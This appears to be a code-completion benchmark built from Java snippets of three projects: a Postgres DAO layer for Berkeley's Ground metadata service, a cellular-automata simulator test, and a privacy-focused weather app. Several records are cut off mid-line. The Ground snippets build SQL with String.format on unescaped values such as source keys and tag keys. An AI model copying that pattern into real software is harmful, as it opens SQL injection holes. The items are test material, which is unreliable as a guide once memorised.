\"to_node_version_start_id, to_node_version_end_id) VALUES (%d, %d, %d, %d, %d, %d);\";\n public static final String UPDATE_EDGE_VERSION = \"UPDATE edge_version SET from_node_version_end_id = %d, to_node_version_end_id = %d WHERE id = \"\n + \"%d;\";\n\n /* Graph-specific statements */\n public static final String INSERT_GRAPH_VERSION = \"INSERT INTO graph_version (id, graph_id) VALUES (%d, %d);\";\n public static final String INSERT_GRAPH_VERSION_EDGE = \"INSERT INTO graph_version_edge (graph_version_id, edge_version_id) VALUES (%d, %d);\";\n public static final String SELECT_GRAPH_VERSION_EDGES = \"SELECT * FROM graph_version_edge WHERE graph_version_id = %d;\";\n public static final String DELETE_ALL_GRAPH_VERSION_EDGES = \"DELETE FROM %s WHERE %s_version_id = %d\";\n\n /* Node-specific statements */\n public static final String INSERT_NODE_VERSION = \"INSERT INTO node_version (id, node_id) VALUES (%d, %d);\";\n public static final String SELECT_NODE_VERSION_ADJACENT_LINEAGE = \"SELECT * FROM lineage_edge_version WHERE from_rich_version_id = %d;\";\n\n /* Rich Version-specific statements */\n public static final String INSERT_RICH_VERSION_WITH_REFERENCE = \"INSERT INTO rich_version (id, structure_version_id, reference) VALUES (%d, %d, \"\n + \"\\'%s\\');\";\n public static final String INSERT_RICH_VERSION_WITHOUT_REFERENCE = \"INSERT INTO rich_version (id, structure_version_id, reference) VALUES (%d, %d, \"\n + \"null);\";\n public static final String INSERT_RICH_VERSION_TAG_WITH_VALUE = \"INSERT INTO rich_version_tag (rich_version_id, key, value, type) VALUES (%d, \"\n + \"\\'%s\\', \\'%s\\', \\'%s\\');\";\n public static final String INSERT_RICH_VERSION_TAG_NO_VALUE = \"INSERT INTO rich_version_tag (rich_version_id, key, value, type) VALUES (%d, \"\n + \"\\'%s\\', null, null);\";\n public static final String INSERT_RICH_VERSION_EXTERNAL_PARAMETER = \"INSERT INTO rich_version_external_parameter (rich_version_id, key, value) \"\n + \"VALUES (%d, \\'%s\\', \\'%s\\');\";\n public static final String SELECT_RICH_VERSION_EXTERNAL_PARAMETERS = \"SELECT * FROM rich_version_external_parameter WHERE rich_version_id = %d;\";\n public static final String SELECT_RICH_VERSION_TAGS = \"SELECT * FROM rich_version_tag WHERE rich_version_id = %d;\";\n public static final String SELECT_RICH_VERSION_TAGS_BY_KEY = \"SELECT * FROM rich_version_tag WHERE key = \\'%s\\';\";\n public static final String DELETE_RICH_VERSION_TAGS = \"DELETE FROM rich_version_tag WHERE rich_version_id = %d\";\n public static final String DELETE_RICH_EXTERNAL_PARAMETERS = \"DELETE FROM rich_version_external_parameter WHERE rich_version_id = %d\";\n\n /* Structure-specific statements */\n public static final String INSERT_STRUCTURE_VERSION = \"INSERT INTO structure_version (id, structure_id) VALUES (%d, %d);\";\n public static final String INSERT_STRUCTURE_VERSION_ATTRIBUTE = \"INSERT INTO structure_version_attribute (structure_version_id, key, type) \"\n + \"VALUES (%d, \\'%s\\', \\'%s\\');\";\n public static final String SELECT_STRUCTURE_VERSION_ATTRIBUTES = \"SELECT * FROM structure_version_attribute WHERE structure_version_id = %d;\";\n public static final String DELETE_STRUCTURE_VERSION_ATTRIBUTES = \"DELETE FROM structure_version_attribute WHERE structure_version_id = %d\";\n\n /* Lineage Edge-specific statements */\n public static final String INSERT_LINEAGE_EDGE_VERSION = \"INSERT INTO lineage_edge_version (id, lineage_edge_id, from_rich_version_id, \"\n + \"to_rich_version_id, principal_id) VALUES (%d, %d, %d, %d, %d);\";\n\n /* Lineage Graph-specific statements */\n public static final String INSERT_LINEAGE_GRAPH_VERSION = \"INSERT INTO lineage_graph_version (id, lineage_graph_id) VALUES (%d, %d);\";\n public static final String INSERT_LINEAGE_GRAPH_VERSION_EDGE = \"INSERT INTO lineage_graph_version_edge (lineage_graph_version_id, \"\n + \"lineage_edge_version_id) VALUES (%d, %d);\";\n public static final String SELECT_LINEAGE_GRAPH_VERSION_EDGES = \"SELECT * FROM lineage_graph_version_edge WHERE lineage_graph_version_id = %d;\";\n}", "public abstract class PostgresItemDao<T extends Item> implements ItemDao<T> {\n\n private PostgresVersionHistoryDagDao postgresVersionHistoryDagDao;\n protected PostgresTagDao postgresTagDao;\n protected Database dbSource;\n protected IdGenerator idGenerator;\n\n public PostgresItemDao(Database dbSource, IdGenerator idGenerator) {\n this.dbSource = dbSource;\n this.idGenerator = idGenerator;\n this.postgresVersionHistoryDagDao = new PostgresVersionHistoryDagDao(dbSource, idGenerator);\n this.postgresTagDao = new PostgresTagDao(dbSource);\n }\n\n @Override\n public PostgresStatements insert(final T item) throws GroundException {\n long id = item.getId();\n\n final List<String> sqlList = new ArrayList<>();\n sqlList.add(String.format(SqlConstants.INSERT_ITEM, id));\n\n final Map<String, Tag> tags = item.getTags();\n PostgresStatements postgresStatements = new PostgresStatements(sqlList);\n\n if (tags != null) {\n for (String key : tags.keySet()) {\n Tag tag = tags.get(key);\n postgresStatements.merge(this.postgresTagDao.insertItemTag(new Tag(id, tag.getKey(), tag.getValue(), tag.getValueType())));\n }\n }\n\n return new PostgresStatements(sqlList);\n }\n\n @Override\n public T retrieveFromDatabase(String sourceKey) throws GroundException {\n return this.retrieve(String.format(SqlConstants.SELECT_STAR_BY_SOURCE_KEY, CaseFormat.UPPER_CAMEL.to(CaseFormat.LOWER_UNDERSCORE,\n this.getType().getSimpleName()), sourceKey), sourceKey);\n }\n\n @Override\n public T retrieveFromDatabase(long id) throws GroundException {\n return this.retrieve(String.format(SqlConstants.SELECT_STAR_ITEM_BY_ID, CaseFormat.UPPER_CAMEL.to(CaseFormat.LOWER_UNDERSCORE,\n this.getType().getSimpleName()), id), id);\n }\n\n @Override\n public List<Long> getLeaves(long itemId) throws GroundException {\n try {\n VersionHistoryDag dag = this.postgresVersionHistoryDagDao.retrieveFromDatabase(itemId);\n\n return dag.getLeaves();\n } catch (GroundException e) {\n if (!e.getMessage().contains(\"No results found for query:\")) {\n throw e;\n }\n\n return new ArrayList<>();\n }\n }\n\n @Override\n public Map<Long, Long> getHistory(long itemId) throws GroundException {\n try {\n VersionHistoryDag dag = this.postgresVersionHistoryDagDao.retrieveFromDatabase(itemId);\n\n return dag.getParentChildPairs();\n } catch (GroundException e) {\n if (!e.getMessage().contains(\"No results found for query:\")) {\n throw e;\n }\n\n return new HashMap<>();\n }\n }\n\n /**\n * Add a new Version to this Item. The provided parentIds will be the parents of this particular\n * version. What's provided in the default case varies based on which database we are writing\n * into.\n *\n * @param itemId the id of the Item we're updating\n * @param childId the new version's id\n * @param parentIds the ids of the parents of the child\n */\n @Override\n public PostgresStatements update(long itemId, long childId, List<Long> parentIds) throws GroundException {\n\n if (parentIds.isEmpty()) {\n parentIds.add(0L);\n }\n\n VersionHistoryDag dag = this.postgresVersionHistoryDagDao.retrieveFromDatabase(itemId);\n PostgresStatements statements = new PostgresStatements();\n\n for (long parentId : parentIds) {\n if (parentId != 0L && !dag.checkItemInDag(parentId)) {\n throw new GroundException(ExceptionType.OTHER, String.format(\"Parent %d is not in Item %d.\", parentId, itemId));\n }\n\n statements.merge(this.postgresVersionHistoryDagDao.addEdge(dag, parentId, childId, itemId));\n }\n\n return statements;\n }\n\n /**\n * Truncate the item to only have the most recent levels.\n *\n * @param numLevels the levels to keep\n * @throws GroundException an error while removing versions\n */\n @Override\n public void truncate(long itemId, int numLevels) throws GroundException {\n VersionHistoryDag dag;\n dag = postgresVersionHistoryDagDao.retrieveFromDatabase(itemId);\n this.postgresVersionHistoryDagDao.truncate(dag, numLevels, this.getType());\n }\n\n protected T retrieve(String sql, Object field) throws GroundException {\n JsonNode json = Json.parse(PostgresUtils.executeQueryToJson(dbSource, sql));\n\n if (json.size() == 0) {\n throw new GroundException(ExceptionType.ITEM_NOT_FOUND, this.getType().getSimpleName(), field.toString());\n }\n\n Class<T> type = this.getType();\n JsonNode itemJson = json.get(0);\n long id = itemJson.get(\"itemId\").asLong();\n String name = itemJson.get(\"name\").asText();\n String sourceKey = itemJson.get(\"sourceKey\").asText();\n\n Object[] args = {id, name, sourceKey, this.postgresTagDao.retrieveFromDatabaseByItemId(id)};\n\n Constructor<T> constructor;\n try {\n constructor = type.getConstructor(long.class, String.class, String.class, Map.class);\n return constructor.newInstance(args);\n } catch (Exception e) {\n throw new GroundException(ExceptionType.OTHER, String.format(\"Catastrophic failure: Unable to instantiate Item.\\n%s: %s.\",\n e.getClass().getName(), e.getMessage()));\n }\n }\n}", "public class PostgresStatements implements DbStatements<String> {\n\n List<String> statements;\n\n public PostgresStatements() {\n this.statements = new ArrayList<>();\n }\n\n public PostgresStatements(List<String> statements) {\n this.statements = statements;\n }\n\n @Override\n public void append(String statement) {\n this.statements.add(statement);\n }\n\n @Override\n public void merge(DbStatements other) {\n this.statements.addAll(other.getAllStatements());\n }\n\n @Override\n public List<String> getAllStatements() {\n return this.statements;\n }\n}", "public final class PostgresUtils {\n\n private PostgresUtils() {\n }\n\n public static Executor getDbSourceHttpContext(final ActorSystem actorSystem) {\n return HttpExecution.fromThread((Executor) actorSystem.dispatchers().lookup(\"ground.db.context\"));\n }\n\n public static String executeQueryToJson(Database dbSource, String sql) throws GroundException {\n Logger.debug(\"executeQueryToJson: {}\", sql);\n\n try {\n Connection con = dbSource.getConnection();\n Statement stmt = con.createStatement();\n\n final ResultSet resultSet = stmt.executeQuery(sql);\n final long columnCount = resultSet.getMetaData().getColumnCount();\n final List<Map<String, Object>> objList = new ArrayList<>();\n\n while (resultSet.next()) {\n final Map<String, Object> rowData = new HashMap<>();\n\n for (int column = 1; column <= columnCount; column++) {\n String key = CaseFormat.LOWER_UNDERSCORE.to(CaseFormat.LOWER_CAMEL, resultSet.getMetaData().getColumnLabel(column));\n rowData.put(key, resultSet.getObject(column));\n }\n\n objList.add(rowData);\n }\n\n stmt.close();\n con.close();\n return GroundUtils.listToJson(objList);\n } catch (SQLException e) {\n Logger.error(\"ERROR: executeQueryToJson SQL : {} Message: {} Trace: {}\", sql, e.getMessage(), e.getStackTrace());\n throw new GroundException(e);\n }\n }\n\n public static void executeSqlList(final Database dbSource, final PostgresStatements statements) throws GroundException {\n try {\n Connection con = dbSource.getConnection();\n con.setAutoCommit(false);\n Statement stmt = con.createStatement();\n\n for (final String sql : statements.getAllStatements()) {\n Logger.debug(\"executeSqlList sql : {}\", sql);\n\n try {\n stmt.execute(sql);\n } catch (final SQLException e) {\n con.rollback();\n Logger.error(\"error: Message: {} Trace: {}\", e.getMessage(), e.getStackTrace());\n\n throw new GroundException(e);\n }\n }\n\n stmt.close();\n con.commit();\n con.close();\n } catch (SQLException e) {\n Logger.error(\"error: executeSqlList SQL : {} Message: {} Trace: {}\", statements.getAllStatements(), e.getMessage(), e.getStackTrace());\n\n throw new GroundException(e);\n }\n }\n}" ]
import com.fasterxml.jackson.databind.JsonNode; import edu.berkeley.ground.common.dao.core.EdgeDao; import edu.berkeley.ground.common.exception.GroundException; import edu.berkeley.ground.common.exception.GroundException.ExceptionType; import edu.berkeley.ground.common.model.core.Edge; import edu.berkeley.ground.common.util.IdGenerator; import edu.berkeley.ground.postgres.dao.SqlConstants; import edu.berkeley.ground.postgres.dao.version.PostgresItemDao; import edu.berkeley.ground.postgres.util.PostgresStatements; import edu.berkeley.ground.postgres.util.PostgresUtils; import java.util.List; import java.util.Map; import play.db.Database; import play.libs.Json;
/** * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except * in compliance with the License. You may obtain a copy of the License at * * <p>http://www.apache.org/licenses/LICENSE-2.0 * * <p>Unless required by applicable law or agreed to in writing, software distributed under the * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either * express or implied. See the License for the specific language governing permissions and * limitations under the License. */ package edu.berkeley.ground.postgres.dao.core; public class PostgresEdgeDao extends PostgresItemDao<Edge> implements EdgeDao { public PostgresEdgeDao(Database dbSource, IdGenerator idGenerator) { super(dbSource, idGenerator); } @Override public Class<Edge> getType() { return Edge.class; } @Override public Edge create(Edge edge) throws GroundException { super.verifyItemNotExists(edge.getSourceKey()); PostgresStatements postgresStatements; long uniqueId = idGenerator.generateItemId(); Edge newEdge = new Edge(uniqueId, edge); try { postgresStatements = super.insert(newEdge); String name = edge.getName(); if (name != null) {
postgresStatements.append(String.format(SqlConstants.INSERT_EDGE_WITH_NAME, uniqueId, edge.getSourceKey(), edge.getFromNodeId(),
5
ghjansen/cas
cas-unidimensional/src/test/java/com/ghjansen/cas/unidimensional/ca/UnidimensionalGeneralRuleTest.java
[ "public abstract class Combination<A extends State> {\n\n private A reference;\n private List<A> neighborhood;\n\n protected Combination(A reference, A... neighbors) throws InvalidStateException {\n if (reference == null || neighbors == null) {\n throw new InvalidStateException();\n }\n this.reference = reference;\n this.neighborhood = new ArrayList<A>();\n for (int i = 0; i < neighbors.length; i++) {\n this.neighborhood.add(neighbors[i]);\n }\n }\n\n public A getReferenceState() {\n return this.reference;\n }\n\n public List<A> getNeighborhood() {\n return this.neighborhood;\n }\n}", "public abstract class Rule<A extends State, N extends Transition, O extends Combination> {\n\n private Map<A, List<N>> transitions;\n\n protected Rule(N... transitions) throws InvalidTransitionException {\n if (transitions == null) {\n throw new InvalidTransitionException();\n }\n initialize(transitions);\n }\n\n private void initialize(N... transitions) {\n this.transitions = new HashMap<A, List<N>>();\n for (N t : transitions) {\n A s = (A) t.getCombination().getReferenceState();\n if (this.transitions.containsKey(s)) {\n this.transitions.get(s).add(t);\n } else {\n ArrayList<N> l = new ArrayList<N>();\n l.add(t);\n this.transitions.put(s, l);\n }\n }\n }\n\n public N getTransition(O combination) throws InvalidStateException, InvalidCombinationException {\n A s = (A) combination.getReferenceState();\n List<N> l = this.transitions.get(s);\n if (l == null) {\n throw new InvalidStateException();\n }\n for (N t : l) {\n boolean found = true;\n for (int i = 0; i < combination.getNeighborhood().size(); i++) {\n A neighborCombination = (A) combination.getNeighborhood().get(i);\n A neighborTransition = (A) t.getCombination().getNeighborhood().get(i);\n if (!neighborCombination.equals(neighborTransition)) {\n found = false;\n break;\n }\n }\n if (found) {\n return t;\n }\n }\n throw new InvalidCombinationException();\n }\n\n public Map<A, List<N>> getTransitions() {\n return this.transitions;\n }\n\n}", "public abstract class State {\n\n private String name;\n private int value;\n\n protected State(String name, int value) {\n if (name == null) {\n throw new IllegalArgumentException();\n }\n this.name = name;\n this.value = value;\n }\n\n public String getName() {\n return this.name;\n }\n\n public int getValue() {\n return this.value;\n }\n\n}", "public abstract class Transition<O extends Combination, A extends State> {\n\n private O combination;\n private A state;\n\n protected Transition(O combination, A state) throws InvalidCombinationException, InvalidStateException {\n if (combination == null) {\n throw new InvalidCombinationException();\n }\n if (state == null) {\n throw new InvalidStateException();\n }\n this.combination = combination;\n this.state = state;\n }\n\n public O getCombination() {\n return this.combination;\n }\n\n public A getState() {\n return this.state;\n }\n\n}", "public class InvalidCombinationException extends Exception {\n\n /**\n * Serialization management\n */\n private static final long serialVersionUID = 884762124844706448L;\n\n}", "public class InvalidStateException extends Exception {\n\n /**\n * Serialization management\n */\n private static final long serialVersionUID = -7435119307025647318L;\n\n}", "public class InvalidTransitionException extends Exception {\n\n /**\n * Serialization management\n */\n private static final long serialVersionUID = 1848434169756515614L;\n\n}" ]
import org.junit.Assert; import org.junit.Test; import com.ghjansen.cas.core.ca.Combination; import com.ghjansen.cas.core.ca.Rule; import com.ghjansen.cas.core.ca.State; import com.ghjansen.cas.core.ca.Transition; import com.ghjansen.cas.core.exception.InvalidCombinationException; import com.ghjansen.cas.core.exception.InvalidStateException; import com.ghjansen.cas.core.exception.InvalidTransitionException;
/* * CAS - Cellular Automata Simulator * Copyright (C) 2016 Guilherme Humberto Jansen * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as published * by the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ package com.ghjansen.cas.unidimensional.ca; /** * @author Guilherme Humberto Jansen (contact.ghjansen@gmail.com) */ public class UnidimensionalGeneralRuleTest { @Test public void unidimensionalGeneralRuleConstructor()
throws InvalidStateException, InvalidCombinationException, InvalidTransitionException {
6
SecUSo/privacy-friendly-weather
app/src/main/java/org/secuso/privacyfriendlyweather/ui/RecycleList/RecyclerOverviewListAdapter.java
[ "@Database(entities = {City.class, CityToWatch.class, CurrentWeatherData.class, Forecast.class, WeekForecast.class}, version = AppDatabase.VERSION)\npublic abstract class AppDatabase extends RoomDatabase {\n public static final String DB_NAME = \"PF_WEATHER_DB.db\";\n static final int VERSION = 7;\n static final String TAG = AppDatabase.class.getSimpleName();\n\n // DAOs\n public abstract CityDao cityDao();\n public abstract CityToWatchDao cityToWatchDao();\n public abstract CurrentWeatherDao currentWeatherDao();\n\n public abstract ForecastDao forecastDao();\n\n public abstract WeekForecastDao weekForecastDao();\n\n // INSTANCE\n private static final Object databaseLock = new Object();\n private static volatile AppDatabase INSTANCE;\n\n /**\n * Get list of all migrations. If they are ContextAwareMigrations, then inject the Context.\n * @param context to be injected into the ContextAwareMigrations\n * @return an array of Migrations, this can not be empty\n */\n public static Migration[] getMigrations(Context context) {\n Migration[] MIGRATIONS = new Migration[]{\n new Migration_1_2(),\n new Migration_2_3(),\n new Migration_3_4(),\n new Migration_4_5(),\n new Migration_5_6(),\n new Migration_6_7()\n // Add new migrations here\n };\n\n for(Migration m : MIGRATIONS) {\n if(m instanceof ContextAwareMigration) {\n ((ContextAwareMigration) m).injectContext(context);\n }\n }\n return MIGRATIONS;\n }\n\n public static AppDatabase getInstance(Context context) {\n if(INSTANCE == null) {\n synchronized (databaseLock) {\n if(INSTANCE == null) {\n INSTANCE = buildDatabase(context);\n }\n }\n }\n return INSTANCE;\n }\n\n private static AppDatabase buildDatabase(final Context context) {\n Migration[] MIGRATIONS = getMigrations(context);\n\n return Room.databaseBuilder(context, AppDatabase.class, DB_NAME)\n .addMigrations(MIGRATIONS)\n .addCallback(new Callback() {\n @Override\n public void onCreate(@NonNull SupportSQLiteDatabase db) {\n super.onCreate(db);\n\n // disable WAL because of the upcoming big transaction\n db.setTransactionSuccessful();\n db.endTransaction();\n db.disableWriteAheadLogging();\n db.beginTransaction();\n\n int cityCount = 0;\n Cursor c = db.query(\"SELECT count(*) FROM CITIES\");\n if(c != null) {\n if(c.moveToFirst()) {\n cityCount = c.getInt(c.getColumnIndex(\"count(*)\"));\n }\n c.close();\n }\n\n Log.d(TAG, \"City count: \" + cityCount);\n if(cityCount == 0) {\n fillCityDatabase(context, db);\n }\n\n // TODO: DEBUG ONLY - REMOVE WHEN DONE\n c = db.query(\"SELECT count(*) FROM CITIES\");\n if(c != null) {\n if(c.moveToFirst()) {\n cityCount = c.getInt(c.getColumnIndex(\"count(*)\"));\n }\n c.close();\n }\n Log.d(TAG, \"City count: \" + cityCount);\n }\n })\n .allowMainThreadQueries()\n .fallbackToDestructiveMigration()\n .build();\n }\n\n public static void fillCityDatabase(final Context context, SupportSQLiteDatabase database) {\n long startInsertTime = System.currentTimeMillis();\n\n InputStream inputStream = context.getResources().openRawResource(R.raw.city_list);\n try {\n FileReader fileReader = new FileReader();\n final List<City> cities = fileReader.readCitiesFromFile(inputStream);\n\n if (cities.size() > 0) {\n for (City c : cities) {\n ContentValues values = new ContentValues();\n values.put(\"cities_id\", c.getCityId());\n values.put(\"city_name\", c.getCityName());\n values.put(\"country_code\", c.getCountryCode());\n values.put(\"longitude\", c.getLongitude());\n values.put(\"latitude\", c.getLatitude());\n database.insert(\"CITIES\", SQLiteDatabase.CONFLICT_REPLACE, values);\n }\n }\n\n inputStream.close();\n } catch (IOException e) {\n e.printStackTrace();\n }\n\n long endInsertTime = System.currentTimeMillis();\n Log.d(\"debug_info\", \"Time for insert:\" + (endInsertTime - startInsertTime));\n }\n}", "@SuppressWarnings({RoomWarnings.PRIMARY_KEY_FROM_EMBEDDED_IS_DROPPED,\n RoomWarnings.MISSING_INDEX_ON_FOREIGN_KEY_CHILD, RoomWarnings.INDEX_FROM_EMBEDDED_ENTITY_IS_DROPPED})\n\n/**\n * This class is the database model for the cities to watch. 'Cities to watch' means the locations\n * for which a user would like to see the weather for. This includes those locations that will be\n * deleted after app close (non-persistent locations).\n */\n@Entity(tableName = \"CITIES_TO_WATCH\", foreignKeys = {\n @ForeignKey(entity = City.class,\n parentColumns = {\"cities_id\"},\n childColumns = {\"city_id\"},\n onDelete = ForeignKey.CASCADE)})\npublic class CityToWatch {\n\n @PrimaryKey(autoGenerate = true) @ColumnInfo(name = \"cities_to_watch_id\") private int id = 0;\n @ColumnInfo(name = \"city_id\") private int cityId;\n @ColumnInfo(name = \"rank\") private int rank;\n @Embedded private City city;\n\n public CityToWatch() {\n this.city = new City();\n }\n\n @Ignore\n public CityToWatch(int rank, String countryCode, int id, int cityId, String cityName, float longitude, float latitude) {\n this.rank = rank;\n this.id = id;\n this.cityId = cityId;\n this.city = new City();\n this.city.setCityName(cityName);\n this.city.setCityId(cityId);\n this.city.setCountryCode(countryCode);\n this.city.setLongitude(longitude);\n this.city.setLatitude(latitude);\n }\n\n public City getCity() {\n return city;\n }\n\n public void setCity(City city) {\n this.city = city;\n }\n\n public int getId() {\n return id;\n }\n\n public void setId(int id) {\n this.id = id;\n }\n\n public int getCityId() {\n return cityId;\n }\n\n public void setCityId(int cityId) {\n this.cityId = cityId;\n }\n\n public String getCityName() {\n return city.getCityName();\n }\n\n public void setCityName(String cityName) {\n this.city.setCityName(cityName);\n }\n\n public String getCountryCode() {\n return city.getCountryCode();\n }\n\n public void setCountryCode(String countryCode) {\n this.city.setCountryCode(countryCode);\n }\n\n public int getRank() {\n return rank;\n }\n\n public void setRank(int rank) {\n this.rank = rank;\n }\n\n public float getLongitude() {\n return this.city.getLongitude();\n }\n\n public float getLatitude() {\n return this.city.getLatitude();\n }\n\n public void setLongitude(float lon) {\n this.city.setLongitude(lon);\n }\n\n public void setLatitude(float lat) {\n this.city.setLatitude(lat);\n }\n\n}", "@SuppressWarnings({RoomWarnings.PRIMARY_KEY_FROM_EMBEDDED_IS_DROPPED,\n RoomWarnings.MISSING_INDEX_ON_FOREIGN_KEY_CHILD})\n\n/**\n * This class represents the database model for current weather data of cities.\n */\n@Entity(tableName = \"CURRENT_WEATHER\", foreignKeys = {\n @ForeignKey(entity = City.class,\n parentColumns = {\"cities_id\"},\n childColumns = {\"city_id\"},\n onDelete = ForeignKey.CASCADE)})\npublic class CurrentWeatherData {\n\n @PrimaryKey(autoGenerate = true)\n @ColumnInfo(name = \"current_weather_id\")\n private int id;\n @ColumnInfo(name = \"city_id\")\n private int city_id;\n @ColumnInfo(name = \"time_of_measurement\")\n private long timestamp;\n @ColumnInfo(name = \"weather_id\")\n private int weatherID;\n @ColumnInfo(name = \"temperature_current\")\n private float temperatureCurrent;\n @ColumnInfo(name = \"temperature_min\")\n private float temperatureMin;//TODO: Remove, not available in one call api\n @ColumnInfo(name = \"temperature_max\")\n private float temperatureMax;//TODO: Remove, not available in one call api\n @ColumnInfo(name = \"humidity\")\n private float humidity;\n @ColumnInfo(name = \"pressure\")\n private float pressure;\n @ColumnInfo(name = \"wind_speed\")\n private float windSpeed;\n @ColumnInfo(name = \"wind_direction\")\n private float windDirection;\n @ColumnInfo(name = \"cloudiness\")\n private float cloudiness;\n @ColumnInfo(name = \"time_sunrise\")\n private long timeSunrise;\n @ColumnInfo(name = \"time_sunset\")\n private long timeSunset;\n @ColumnInfo(name = \"timezone_seconds\")\n private int timeZoneSeconds;\n @ColumnInfo(name = \"rain60min\")\n private String rain60min;\n\n @Ignore\n private String city_name;\n\n public CurrentWeatherData() {\n this.city_id = Integer.MIN_VALUE;\n }\n\n @Ignore\n public CurrentWeatherData(int id, int city_id, long timestamp, int weatherID, float temperatureCurrent, float temperatureMin, float temperatureMax, float humidity, float pressure, float windSpeed, float windDirection, float cloudiness, long timeSunrise, long timeSunset, int timeZoneSeconds) {\n this.id = id;\n this.city_id = city_id;\n this.timestamp = timestamp;\n this.weatherID = weatherID;\n this.temperatureCurrent = temperatureCurrent;\n this.temperatureMin = temperatureMin;\n this.temperatureMax = temperatureMax;\n this.humidity = humidity;\n this.pressure = pressure;\n this.windSpeed = windSpeed;\n this.windDirection = windDirection;\n this.cloudiness = cloudiness;\n this.timeSunrise = timeSunrise;\n this.timeSunset = timeSunset;\n this.timeZoneSeconds = timeZoneSeconds;\n this.rain60min = rain60min;\n }\n\n public int getId() {\n return id;\n }\n\n public void setId(int id) {\n this.id = id;\n }\n\n public int getCity_id() {\n return city_id;\n }\n\n public void setCity_id(int city_id) {\n this.city_id = city_id;\n }\n\n public long getTimestamp() {\n return timestamp;\n }\n\n public void setTimestamp(long timestamp) {\n this.timestamp = timestamp;\n }\n\n public int getWeatherID() {\n return weatherID;\n }\n\n public void setWeatherID(int weatherID) {\n this.weatherID = weatherID;\n }\n\n public float getTemperatureCurrent() {\n return temperatureCurrent;\n }\n\n public void setTemperatureCurrent(float temperatureCurrent) {\n this.temperatureCurrent = temperatureCurrent;\n }\n\n public float getTemperatureMin() {\n return temperatureMin;\n }\n\n public void setTemperatureMin(float temperatureMin) {\n this.temperatureMin = temperatureMin;\n }\n\n public float getTemperatureMax() {\n return temperatureMax;\n }\n\n public void setTemperatureMax(float temperatureMax) {\n this.temperatureMax = temperatureMax;\n }\n\n public float getHumidity() {\n return humidity;\n }\n\n public void setHumidity(float humidity) {\n this.humidity = humidity;\n }\n\n public float getPressure() {\n return pressure;\n }\n\n public void setPressure(float pressure) {\n this.pressure = pressure;\n }\n\n public float getWindSpeed() {\n return windSpeed;\n }\n\n public void setWindSpeed(float windSpeed) {\n this.windSpeed = windSpeed;\n }\n\n public float getWindDirection() {\n return windDirection;\n }\n\n public void setWindDirection(float windDirection) {\n this.windDirection = windDirection;\n }\n\n public float getCloudiness() {\n return cloudiness;\n }\n\n public void setCloudiness(float cloudiness) {\n this.cloudiness = cloudiness;\n }\n\n public long getTimeSunrise() {\n return timeSunrise;\n }\n\n public void setTimeSunrise(long timeSunrise) {\n this.timeSunrise = timeSunrise;\n }\n\n public long getTimeSunset() {\n return timeSunset;\n }\n\n public void setTimeSunset(long timeSunset) {\n this.timeSunset = timeSunset;\n }\n\n public String getCity_name() {\n return city_name;\n }\n\n public void setCity_name(String city_name) {\n this.city_name = city_name;\n }\n\n public int getTimeZoneSeconds() {\n return timeZoneSeconds;\n }\n\n public void setTimeZoneSeconds(int timeZoneSeconds) {\n this.timeZoneSeconds = timeZoneSeconds;\n }\n\n public String getRain60min() {\n return rain60min;\n }\n\n public void setRain60min(String rain60min) {\n this.rain60min = rain60min;\n }\n}", "public class AppPreferencesManager {\n\n /**\n * Constants\n */\n public static final String PREFERENCES_NAME = \"org.secuso.privacyfriendlyweather.preferences\";\n public static final String OLD_PREF_NAME = \"weather-Preference\";\n\n private static final String IS_FIRST_TIME_LAUNCH = \"IsFirstTimeLaunch\";\n private static final String ASKED_FOR_OWM_KEY = \"AskedForOWMKey\";\n\n /**\n * Member variables\n */\n SharedPreferences preferences;\n\n /**\n * Constructor.\n *\n * @param preferences Source for the preferences to use.\n */\n public AppPreferencesManager(SharedPreferences preferences) {\n this.preferences = preferences;\n }\n\n\n public void setFirstTimeLaunch(boolean isFirstTime) {\n SharedPreferences.Editor editor = preferences.edit();\n editor.putBoolean(IS_FIRST_TIME_LAUNCH, isFirstTime);\n editor.commit();\n }\n\n public void setAskedForOwmKey(boolean asked) {\n SharedPreferences.Editor editor = preferences.edit();\n editor.putBoolean(ASKED_FOR_OWM_KEY, asked);\n editor.commit();\n }\n\n public boolean isFirstTimeLaunch() {\n return preferences.getBoolean(IS_FIRST_TIME_LAUNCH, true);\n }\n\n public boolean askedForOWMKey() {\n return preferences.getBoolean(ASKED_FOR_OWM_KEY, false);\n }\n\n /**\n * This method converts a given temperature value into the unit that was set in the preferences.\n *\n * @param temperature The temperature to convert into the unit that is set in the preferences.\n * Make sure to pass a value in celsius.\n * @return Returns the converted temperature.\n */\n public float convertTemperatureFromCelsius(float temperature) {\n // 1 = Celsius (fallback), 2 = Fahrenheit\n int prefValue = Integer.parseInt(preferences.getString(\"temperatureUnit\", \"1\"));\n if (prefValue == 1) {\n return temperature;\n } else {\n return (((temperature * 9) / 5) + 32);\n }\n }\n\n public boolean is3hourForecastSet() {\n return 2 == Integer.parseInt(preferences.getString(\"forecastChoice\", \"1\"));\n }\n\n /**\n * This method converts a given distance value into the unit that was set in the preferences.\n *\n * @param kilometers The kilometers to convert into the unit that is set in the preferences.\n * Make sure to pass a value in kilometers.\n * @return Returns the converted distance.\n */\n public float convertDistanceFromKilometers(float kilometers) {\n // 1 = kilometers, 2 = miles\n int prefValue = Integer.parseInt(preferences.getString(\"distanceUnit\", \"1\"));\n if (prefValue == 1) {\n return kilometers;\n } else {\n return convertKmInMiles(kilometers);\n }\n }\n\n /**\n * @return Returns true if kilometers was set as distance unit in the preferences else false.\n */\n public boolean isDistanceUnitKilometers() {\n int prefValue = Integer.parseInt(preferences.getString(\"distanceUnit\", \"0\"));\n return (prefValue == 1);\n }\n\n /**\n * @return Returns true if miles was set as distance unit in the preferences else false.\n */\n public boolean isDistanceUnitMiles() {\n int prefValue = Integer.parseInt(preferences.getString(\"distanceUnit\", \"0\"));\n return (prefValue == 2);\n }\n\n /**\n * Converts a kilometer value in miles.\n *\n * @param km The value to convert to miles.\n * @return Returns the converted value.\n */\n public float convertKmInMiles(float km) {\n // TODO: Is this the right class for the function???\n return (float) (km / 1.609344);\n }\n\n /**\n * Converts a miles value in kilometers.\n *\n * @param miles The value to convert to 